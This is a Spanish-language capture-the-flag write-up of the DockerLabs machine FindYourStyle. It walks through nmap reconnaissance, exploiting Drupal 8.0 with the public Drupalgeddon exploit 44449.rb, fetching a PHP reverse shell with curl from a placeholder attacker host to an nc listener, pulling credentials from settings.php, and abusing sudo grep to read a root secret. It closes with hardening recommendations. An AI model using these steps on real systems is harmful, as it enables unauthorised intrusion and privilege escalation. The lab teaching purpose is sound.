FindYourStyle

Introducción

Este documento presenta la resolución completa de la máquina FindYourStyle, desarrollada por El Pingüino de Mario para la plataforma DockerLabs y clasificada como fácil. El objetivo es ofrecer un análisis claro, reproducible y orientado a buenas prácticas que describa:

• Vector(es) de ataque identificados.
• Explotación basada en fallos de configuración.
• Técnicas de escalada de privilegios a partir del abuso de sudo.
• Recomendaciones defensivas aplicables en entornos productivos.

La metodología aplicada sigue tres fases principales:

1. Reconocimiento: enumeración de puertos, servicios y rutas web.
2. Explotación: aprovechamiento de una vulnerabilidad conocida en Drupal para obtener ejecución remota.
3. Escalada de privilegios: búsqueda de credenciales y abuso de permisos sudo para alcanzar root.

Todas las pruebas se realizaron en el entorno aislado de DockerLabs y con autorización previa.

---

Información general

Atributo	Valor
Nombre	FindYourStyle
Autor	El Pingüino de Mario
Dificultad	Fácil
Fecha	29/04/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Descomprimir el paquete:

unzip FindYourStyle.zip

Desplegar la máquina con el script proporcionado:

sudo bash auto_deploy.sh FindYourStyle.tar

El script devuelve una IP interna usada durante el análisis (por ejemplo 172.17.0.2).

---

Paso 1 — Reconocimiento

1.1 Organización del workspace

Una estructura de trabajo ordenada facilita la reproducción y el registro de la metodología:

mkdir -p FindYourStyle/{content,exploits,nmap,gobuster,scripts}
cd FindYourStyle

1.2 Escaneo de puertos

Se realizó un escaneo TCP agresivo para descubrir puertos abiertos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts

Puertos detectados:

• 80/tcp — servidor HTTP.

Explicación: -p- escanea todos los puertos; --open filtra solo los abiertos; -sS hace un SYN scan; --min-rate acelera el escaneo y -oG guarda en formato grepable para procesarlo.

1.3 Enumeración web

Se inspeccionó la aplicación web mediante gobuster y revisión manual del HTML:

• gobuster no devolvió muchas rutas útiles, pero al inspeccionar la página principal se identificó que el sitio está implementado en Drupal 8.0 (evidencia en el index y metadatos).

Rutas relevantes encontradas:

• /index.php — página principal y punto de entrada para el reconocimiento.

Explicación: identificar la versión tecnológica (Drupal 8.0) es crítico porque condiciona la elección de exploits y payloads. La identificación puede basarse en metatags, archivos expuestos (ej. CHANGELOG.txt) o huellas en el HTML.

---

Paso 2 — Explotación

Dado que el objetivo corre Drupal 8.0 y no se observan medidas de protección mínimas, se evaluaron exploits conocidos para esa versión —entre ellos el exploit conocido como Drupalgeddon (vulnerabilidades críticas que permiten ejecución remota).

2.1 Localizar exploit

Se comprobó el repositorio de exploits públicos (por ejemplo searchsploit) para identificar exploits aplicables:

searchsploit drupal 8.0
# ejemplo: copiar un exploit localmente
searchsploit -m 44449

2.2 Ejecución del exploit

Se ejecutó el exploit identificado (44449.rb en este caso) contra la URL objetivo:

ruby 44449.rb http://172.17.0.2

Resultado: obtención de una shell de comando (shell remota) sobre la aplicación web. Esa shell inicial pertenecía al contexto del servidor web y tenía privilegios limitados.

Observación: las shells iniciales suministradas por exploits web suelen ser inestables o limitadas (ptys no interactivos). Por eso, en la práctica es recomendable subir/ejecutar una reverse shell estable para interactuar mejor.

2.3 Establecer una reverse shell estable

Debido a las limitaciones de la shell obtenida, se procedió a desplegar una reverse shell escrita en PHP desde el atacante hacia la víctima:

1. En la máquina atacante, crear revshell.php con la reverse shell deseada (no se incluye código aquí por motivos de seguridad/ética; en entornos controlados se usa un payload estándar de pentesting).

2. Levantar un servidor HTTP temporal para servir el archivo:

   # en la máquina atacante
   python3 -m http.server 8000

3. En la máquina víctima (a la que ya se tiene shell limitada), descargar el archivo:

   curl http://<IP_atacante>:8000/revshell.php -O revshell.php

4. Preparar el listener en la máquina atacante (ejemplo puerto 443):

   nc -nlvp 443

5. Desde la víctima, acceder al revshell.php mediante navegador o ejecutando php revshell.php para iniciar la conexión de retorno al listener.

Resultado: sesión interactiva estable como el usuario del servidor web (www-data u equivalente).

Nota: usar puertos y direcciones de forma coherente con la red. En entornos reales, respetar siempre la legalidad y autorización para pruebas.

---

Paso 3 — Escalada de privilegios

Con la sesión como usuario web, se exploró el sistema para encontrar información sensible y vectores de escalada.

3.1 Enumeración local

Acciones realizadas:

• Listado de ficheros y permisos.
• Búsqueda de archivos de configuración de Drupal (por ejemplo sites/default/settings.php) donde a menudo se almacenan credenciales de bases de datos o servicios.
• Búsqueda de contraseñas hardcodeadas en archivos accesibles.

Durante la revisión de sites/default/settings.php se encontró una contraseña embebida que permitió acceder a la cuenta local ballenita.

Explicación: es común que instalaciones descuidadas de CMS expongan credenciales en los archivos de configuración. Revisar esos ficheros es una práctica estándar en post-explotación.

3.2 Movimiento lateral: www-data → ballenita

Con la credencial encontrada, se realizó su o ssh local al usuario ballenita y se verificó el entorno de permisos de ese usuario.

3.3 Identificación de permisos sudo (ballenita)

Como ballenita, se revisó qué comandos pueden ejecutarse con sudo sin contraseña:

sudo -l

Salida relevante: ballenita puede ejecutar como root los siguientes binarios:

• /bin/ls
• /bin/grep

Explicación: la capacidad de ejecutar programas confiables como root sin contraseña puede permitir técnicas de escalada si dichos programas aceptan o permiten trampas (por ejemplo a través de la variable PATH, ficheros de configuración, o lectura de archivos privilegiados).

3.4 Explotación de sudo para obtener root

Dado que grep puede ejecutarse como root, se aprovechó para leer archivos a los que normalmente no se tendría acceso:

sudo /bin/grep -R '.*' /root/secretitomaximo.txt
# o, para listar: sudo /bin/grep -n '' /root/secretitomaximo.txt

Al leer /root/secretitomaximo.txt se obtuvo una contraseña potencial para el usuario root. Con esa credencial fue posible cambiar al usuario root y obtener una shell de root:

su - root
# introducir la contraseña obtenida

Resultado: acceso privilegiado completo (root).

Explicación: ejecutar utilidades que permiten leer ficheros como root es una forma efectiva de extracción de secretos. Siempre hay que validar si el binario puede aceptar rutas arbitrarias o parámetros que permitan leer ficheros críticos.

---

Fallos de seguridad identificados

1. Exposición de versión sensible del CMS: la página muestra indicios de Drupal 8.0, lo que facilita la identificación de exploits conocidos.
2. Archivos de configuración con credenciales: sites/default/settings.php contenía contraseñas hardcodeadas accesibles desde el servidor web.
3. Ausencia de controles de subida y ejecución de código en el servidor web: posibilitó la subida/ejecución de una reverse shell.
4. Permisos sudo mal configurados: el usuario ballenita puede ejecutar utilidades (grep, ls) como root sin restricciones, lo que facilita la exfiltración de ficheros sensibles y la escalada de privilegios.
5. Falta de separación de privilegios y principios de menor privilegio: tanto en cuentas de servicio como en usuarios humanos.

---

Recomendaciones

Para mitigar las vulnerabilidades observadas y robustecer el entorno, se proponen las siguientes medidas:

1. Actualizar y parchear el CMS: migrar a versiones soportadas de Drupal y aplicar parches críticos de seguridad. Mantener un programa de actualización y pruebas.
2. Eliminar o restringir información expuesta: ocultar o eliminar CHANGELOG.txt, metatags generadoras de contenido y otros archivos que revelen versiones del software.
3. Revisar y proteger archivos de configuración: no almacenar contraseñas en texto plano dentro de archivos accesibles por el servidor web. Utilizar variables de entorno, gestores de secretos o mecanismos cifrados. Restringir permisos de fichero (chmod 640, dueño root o www-data según corresponda).
4. Hardening de la subida de ficheros y ejecución remota: validar y sanitizar uploads; desactivar la ejecución de código en directorios de subida; configurar políticas de Content Security Policy y restricciones en el servidor web.
5. Revisión y endurecimiento de sudoers: auditar entradas en /etc/sudoers y en /etc/sudoers.d/. Evitar permitir la ejecución de binarios con capacidad de interactuar con archivos arbitrarios (por ejemplo editores, grep, awk, less) sin restricciones. Preferir comandos concretos y, si es imprescindible, usar herramientas de sandboxing o wrappers que limiten parámetros.
6. Principio de menor privilegio: aplicar separación de cuentas y roles; las cuentas de servicio deben tener únicamente los permisos necesarios.
7. Registro y monitoreo: habilitar logging centralizado y alertas para acciones inusuales (subidas de ficheros, ejecuciones como root, cambios en /etc/sudoers).
8. Pruebas periódicas de seguridad: realizar pentests y escaneos automatizados (y controlados) para detectar regresiones y nuevas vulnerabilidades.